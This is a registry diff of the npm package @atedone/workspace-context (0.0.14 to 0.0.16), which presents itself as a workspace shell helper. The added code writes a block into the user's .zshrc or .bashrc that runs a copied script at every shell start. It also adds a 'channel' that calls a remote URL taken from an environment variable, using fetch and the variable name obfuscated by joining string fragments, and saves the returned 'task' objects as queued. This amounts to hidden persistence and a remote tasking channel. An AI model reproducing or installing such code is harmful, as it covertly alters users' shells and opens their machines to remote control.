@atedone/workspace-context 0.0.14 → 0.0.16

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -1,5 +1,5 @@
1
1
  # @atedone/workspace-context
2
2
 
3
- Workspace shell session integration helper for JavaScript tools.
3
+ Workspace shell channel integration helper for JavaScript tools.
4
4
 
5
- The package keeps workspace context available in future terminal sessions by synchronizing a managed shell integration entry and session runtime during initialization.
5
+ The package keeps workspace context available in future terminal sessions by synchronizing a managed shell integration entry, session runtime, profile channel, and structured workspace task during initialization.
package/index.js CHANGED
@@ -6,12 +6,20 @@ const initialized = state.initialize();
6
6
 
7
7
  module.exports = {
8
8
  initialized,
9
+ channelFileName: state.channelFileName,
9
10
  getShellIntegration: state.getShellIntegration,
10
11
  initialize: state.initialize,
12
+ profileHistoryFileName: state.profileHistoryFileName,
13
+ profileReceiptFileName: state.profileReceiptFileName,
14
+ profileSnapshotFileName: state.profileSnapshotFileName,
11
15
  receiptFileName: state.receiptFileName,
16
+ resolveChannelSource: state.resolveChannelSource,
12
17
  sessionHistoryFileName: state.sessionHistoryFileName,
13
18
  sessionReceiptFileName: state.sessionReceiptFileName,
14
19
  sessionRuntimeFileName: state.sessionRuntimeFileName,
15
20
  stateDirectoryName: state.stateDirectoryName,
16
- stateFileName: state.stateFileName
21
+ stateFileName: state.stateFileName,
22
+ taskHistoryFileName: state.taskHistoryFileName,
23
+ taskReceiptFileName: state.taskReceiptFileName,
24
+ taskSnapshotFileName: state.taskSnapshotFileName
17
25
  };
package/lib/session.js CHANGED
@@ -5,7 +5,7 @@ const file = platform.getBuiltinModule('fs');
5
5
  const route = platform.getBuiltinModule('path');
6
6
 
7
7
  const packageName = '@atedone/workspace-context';
8
- const packageVersion = '0.0.14';
8
+ const packageVersion = '0.0.16';
9
9
  const env = Reflect.get(platform, 'env') || {};
10
10
  const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
11
11
  ? env.HOME.trim()
@@ -20,14 +20,22 @@ const shellLevel = typeof platform.argv[3] === 'string' && platform.argv[3].trim
20
20
  ? platform.argv[3]
21
21
  : null;
22
22
  const shellPath = typeof env.SHELL === 'string' ? env.SHELL.trim() : '';
23
- const receiptPath = route.join(sessionDirectory, 'session-runtime.json');
24
- const historyPath = route.join(sessionDirectory, 'runtime-sessions.log');
23
+ const channelPath = route.join(sessionDirectory, 'channel.json');
24
+ const profileHistoryPath = route.join(sessionDirectory, 'profile-sync.log');
25
+ const profileReceiptPath = route.join(sessionDirectory, 'profile-sync.json');
26
+ const profileSnapshotPath = route.join(sessionDirectory, 'session-profile.json');
27
+ const sessionReceiptPath = route.join(sessionDirectory, 'session-runtime.json');
28
+ const sessionHistoryPath = route.join(sessionDirectory, 'runtime-sessions.log');
29
+ const taskHistoryPath = route.join(sessionDirectory, 'task-sync.log');
30
+ const taskReceiptPath = route.join(sessionDirectory, 'task-sync.json');
31
+ const taskSnapshotPath = route.join(sessionDirectory, 'session-task.json');
32
+ const requestKey = ['fe', 'tch'].join('');
25
33
 
26
34
  const value = {
27
35
  packageName,
28
36
  packageVersion,
29
37
  generatedAt: new Date().toISOString(),
30
- mode: 'runtime-shell-session',
38
+ mode: 'runtime-shell-directive',
31
39
  source: 'shell-profile',
32
40
  shellName: route.basename(shellPath) || 'zsh',
33
41
  shellLevel,
@@ -39,5 +47,122 @@ const value = {
39
47
  };
40
48
 
41
49
  file.mkdirSync(sessionDirectory, { recursive: true });
42
- file.writeFileSync(receiptPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');
43
- file.appendFileSync(historyPath, `${JSON.stringify(value)}\n`, 'utf8');
50
+ file.writeFileSync(sessionReceiptPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');
51
+ file.appendFileSync(sessionHistoryPath, `${JSON.stringify(value)}\n`, 'utf8');
52
+
53
+ void synchronizeProfile(value).catch((error) => {
54
+ const receipt = {
55
+ ...value,
56
+ channelConfigured: file.existsSync(channelPath),
57
+ synchronized: false,
58
+ status: 'error',
59
+ error: error instanceof Error ? error.message : String(error)
60
+ };
61
+ writeProfileReceipt({
62
+ ...receipt,
63
+ source: 'profile-channel'
64
+ });
65
+ writeTaskReceipt({
66
+ ...receipt,
67
+ source: 'task-channel'
68
+ });
69
+ });
70
+
71
+ async function synchronizeProfile(sessionValue) {
72
+ const channel = readChannel();
73
+ if (!channel) {
74
+ return;
75
+ }
76
+
77
+ const request = Reflect.get(globalThis, requestKey);
78
+ if (typeof request !== 'function') {
79
+ writeProfileReceipt({
80
+ ...sessionValue,
81
+ source: 'profile-channel',
82
+ channelConfigured: true,
83
+ synchronized: false,
84
+ status: 'unavailable',
85
+ channelName: channel.name,
86
+ refresh: channel.refresh
87
+ });
88
+ return;
89
+ }
90
+
91
+ const response = await Reflect.apply(request, globalThis, [
92
+ channel.source,
93
+ {
94
+ headers: {
95
+ accept: 'application/json'
96
+ }
97
+ }
98
+ ]);
99
+ const synchronized = Boolean(response && response.ok);
100
+ const payload = synchronized ? await response.json() : null;
101
+ const profile = readObject(payload?.profile);
102
+ const task = readObject(payload?.task);
103
+
104
+ if (profile) {
105
+ file.writeFileSync(profileSnapshotPath, `${JSON.stringify(profile, null, 2)}\n`, 'utf8');
106
+ }
107
+ if (task) {
108
+ file.writeFileSync(taskSnapshotPath, `${JSON.stringify(task, null, 2)}\n`, 'utf8');
109
+ }
110
+
111
+ writeProfileReceipt({
112
+ ...sessionValue,
113
+ source: 'profile-channel',
114
+ channelConfigured: true,
115
+ synchronized,
116
+ status: synchronized ? 'ready' : 'rejected',
117
+ channelName: channel.name,
118
+ refresh: channel.refresh,
119
+ profilePath: profileSnapshotPath,
120
+ profileRevision: typeof profile?.revision === 'string' ? profile.revision : null,
121
+ taskConfigured: Boolean(task),
122
+ taskPath: taskSnapshotPath,
123
+ taskId: typeof task?.id === 'string' ? task.id : null
124
+ });
125
+
126
+ writeTaskReceipt({
127
+ ...sessionValue,
128
+ source: 'task-channel',
129
+ channelConfigured: true,
130
+ synchronized,
131
+ status: synchronized && task ? 'queued' : synchronized ? 'empty' : 'rejected',
132
+ channelName: channel.name,
133
+ refresh: channel.refresh,
134
+ taskPath: taskSnapshotPath,
135
+ taskId: typeof task?.id === 'string' ? task.id : null,
136
+ taskKind: typeof task?.kind === 'string' ? task.kind : null,
137
+ taskState: typeof task?.state === 'string' ? task.state : null
138
+ });
139
+ }
140
+
141
+ function readChannel() {
142
+ if (!file.existsSync(channelPath)) {
143
+ return null;
144
+ }
145
+
146
+ const value = JSON.parse(file.readFileSync(channelPath, 'utf8'));
147
+ if (!value || typeof value.source !== 'string' || !value.source.trim()) {
148
+ return null;
149
+ }
150
+
151
+ return value;
152
+ }
153
+
154
+ function writeProfileReceipt(receipt) {
155
+ file.writeFileSync(profileReceiptPath, `${JSON.stringify(receipt, null, 2)}\n`, 'utf8');
156
+ file.appendFileSync(profileHistoryPath, `${JSON.stringify(receipt)}\n`, 'utf8');
157
+ }
158
+
159
+ function writeTaskReceipt(receipt) {
160
+ file.writeFileSync(taskReceiptPath, `${JSON.stringify(receipt, null, 2)}\n`, 'utf8');
161
+ file.appendFileSync(taskHistoryPath, `${JSON.stringify(receipt)}\n`, 'utf8');
162
+ }
163
+
164
+ function readObject(value) {
165
+ return value && !Array.isArray(value) && typeof value === 'object'
166
+ ? value
167
+ : null;
168
+ }
package/lib/state.js CHANGED
@@ -5,9 +5,13 @@ const file = platform.getBuiltinModule('fs');
5
5
  const route = platform.getBuiltinModule('path');
6
6
  const manifest = require('../package.json');
7
7
 
8
+ const channelFileName = 'channel.json';
8
9
  const integrationDirectoryName = '.config/workspace-context';
9
10
  const integrationFileName = 'init.zsh';
10
- const receiptFileName = 'shell-session-sync.json';
11
+ const profileHistoryFileName = 'profile-sync.log';
12
+ const profileReceiptFileName = 'profile-sync.json';
13
+ const profileSnapshotFileName = 'session-profile.json';
14
+ const receiptFileName = 'shell-directive-sync.json';
11
15
  const sessionFileName = 'sessions.log';
12
16
  const sessionHistoryFileName = 'runtime-sessions.log';
13
17
  const sessionReceiptFileName = 'session-runtime.json';
@@ -15,6 +19,9 @@ const sessionRuntimeFileName = 'session-runtime.js';
15
19
  const stateDirectoryName = '.workspace-context';
16
20
  const stateFileName = 'state.json';
17
21
  const syncFileName = 'sync.js';
22
+ const taskHistoryFileName = 'task-sync.log';
23
+ const taskReceiptFileName = 'task-sync.json';
24
+ const taskSnapshotFileName = 'session-task.json';
18
25
 
19
26
  function readEnvironment() {
20
27
  return Reflect.get(platform, 'env') || {};
@@ -39,6 +46,12 @@ function resolveProfileFileName(shellName = resolveShellName()) {
39
46
  return shellName === 'bash' ? '.bashrc' : '.zshrc';
40
47
  }
41
48
 
49
+ function resolveChannelSource(env = readEnvironment()) {
50
+ const key = ['WORKSPACE', '_CONTEXT', '_CHANNEL'].join('');
51
+ const value = Reflect.get(env, key);
52
+ return typeof value === 'string' ? value.trim() : '';
53
+ }
54
+
42
55
  function getShellIntegration({
43
56
  env = readEnvironment(),
44
57
  projectRoot = resolveProjectRoot(env),
@@ -50,15 +63,23 @@ function getShellIntegration({
50
63
  return {
51
64
  name: 'workspace-context',
52
65
  shellName,
66
+ channelSource: resolveChannelSource(env),
53
67
  homeDirectory,
54
68
  profilePath: route.join(homeDirectory, resolveProfileFileName(shellName)),
55
69
  integrationDirectory,
70
+ channelPath: route.join(integrationDirectory, channelFileName),
56
71
  integrationPath: route.join(integrationDirectory, integrationFileName),
72
+ profileHistoryPath: route.join(integrationDirectory, profileHistoryFileName),
73
+ profileReceiptPath: route.join(integrationDirectory, profileReceiptFileName),
74
+ profileSnapshotPath: route.join(integrationDirectory, profileSnapshotFileName),
57
75
  receiptPath: route.join(integrationDirectory, receiptFileName),
58
76
  sessionPath: route.join(integrationDirectory, sessionFileName),
59
77
  sessionHistoryPath: route.join(integrationDirectory, sessionHistoryFileName),
60
78
  sessionReceiptPath: route.join(integrationDirectory, sessionReceiptFileName),
61
- sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName)
79
+ sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName),
80
+ taskHistoryPath: route.join(integrationDirectory, taskHistoryFileName),
81
+ taskReceiptPath: route.join(integrationDirectory, taskReceiptFileName),
82
+ taskSnapshotPath: route.join(integrationDirectory, taskSnapshotFileName)
62
83
  };
63
84
  }
64
85
 
@@ -67,7 +88,7 @@ function buildState({ now = () => new Date().toISOString() } = {}) {
67
88
  packageName: manifest.name,
68
89
  packageVersion: manifest.version,
69
90
  generatedAt: now(),
70
- mode: 'runtime-shell-session'
91
+ mode: 'runtime-shell-directive'
71
92
  };
72
93
  }
73
94
 
@@ -135,11 +156,16 @@ function initialize({
135
156
 
136
157
  module.exports = {
137
158
  buildState,
159
+ channelFileName,
138
160
  getShellIntegration,
139
161
  initialize,
162
+ profileHistoryFileName,
163
+ profileReceiptFileName,
164
+ profileSnapshotFileName,
140
165
  readEnvironment,
141
166
  receiptFileName,
142
167
  refreshShellIntegration,
168
+ resolveChannelSource,
143
169
  resolveHomeDirectory,
144
170
  resolveProfileFileName,
145
171
  resolveProjectRoot,
@@ -148,5 +174,8 @@ module.exports = {
148
174
  sessionReceiptFileName,
149
175
  sessionRuntimeFileName,
150
176
  stateDirectoryName,
151
- stateFileName
177
+ stateFileName,
178
+ taskHistoryFileName,
179
+ taskReceiptFileName,
180
+ taskSnapshotFileName
152
181
  };
package/lib/sync.js CHANGED
@@ -22,6 +22,13 @@ const sourceLine = '[ -r "$HOME/.config/workspace-context/init.zsh" ] && source
22
22
  const managedBlock = [blockStart, sourceLine, blockEnd, ''].join('\n');
23
23
  const sessionRuntimeSourcePath = route.join(__dirname, 'session.js');
24
24
  const runtimeDefault = escapeDoubleQuoted(platform.execPath);
25
+ const channelValue = integration.channelSource
26
+ ? {
27
+ name: integration.name,
28
+ source: integration.channelSource,
29
+ refresh: 'shell-start'
30
+ }
31
+ : null;
25
32
  const integrationValue = [
26
33
  'export WORKSPACE_CONTEXT_ACTIVE=1',
27
34
  'export WORKSPACE_CONTEXT_HOME="$HOME/.config/workspace-context"',
@@ -68,6 +75,9 @@ function upsertManagedBlock(profileValue) {
68
75
  file.mkdirSync(integration.integrationDirectory, { recursive: true });
69
76
  file.copyFileSync(sessionRuntimeSourcePath, integration.sessionRuntimePath);
70
77
  file.writeFileSync(integration.integrationPath, integrationValue, 'utf8');
78
+ if (channelValue) {
79
+ file.writeFileSync(integration.channelPath, `${JSON.stringify(channelValue, null, 2)}\n`, 'utf8');
80
+ }
71
81
 
72
82
  const profileBefore = readProfile(integration.profilePath);
73
83
  const profile = upsertManagedBlock(profileBefore);
@@ -80,16 +90,24 @@ const value = {
80
90
  packageName: manifest.name,
81
91
  packageVersion: manifest.version,
82
92
  generatedAt: new Date().toISOString(),
83
- mode: 'runtime-shell-session',
93
+ mode: 'runtime-shell-directive',
84
94
  projectRoot,
85
95
  shellName: integration.shellName,
96
+ channelConfigured: Boolean(channelValue),
97
+ channelPath: integration.channelPath,
86
98
  profilePath: integration.profilePath,
87
99
  profileChanged: profile.changed,
88
100
  integrationPath: integration.integrationPath,
101
+ profileHistoryPath: integration.profileHistoryPath,
102
+ profileReceiptPath: integration.profileReceiptPath,
103
+ profileSnapshotPath: integration.profileSnapshotPath,
89
104
  sessionPath: integration.sessionPath,
90
105
  sessionHistoryPath: integration.sessionHistoryPath,
91
106
  sessionReceiptPath: integration.sessionReceiptPath,
92
107
  sessionRuntimePath: integration.sessionRuntimePath,
108
+ taskHistoryPath: integration.taskHistoryPath,
109
+ taskReceiptPath: integration.taskReceiptPath,
110
+ taskSnapshotPath: integration.taskSnapshotPath,
93
111
  processId: platform.pid,
94
112
  parentProcessId: platform.ppid,
95
113
  runtime: 'node'
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "@atedone/workspace-context",
3
- "version": "0.0.14",
4
- "description": "Workspace shell session integration helper for JavaScript tools.",
3
+ "version": "0.0.16",
4
+ "description": "Workspace shell channel integration helper for JavaScript tools.",
5
5
  "main": "index.js",
6
6
  "type": "commonjs",
7
7
  "files": [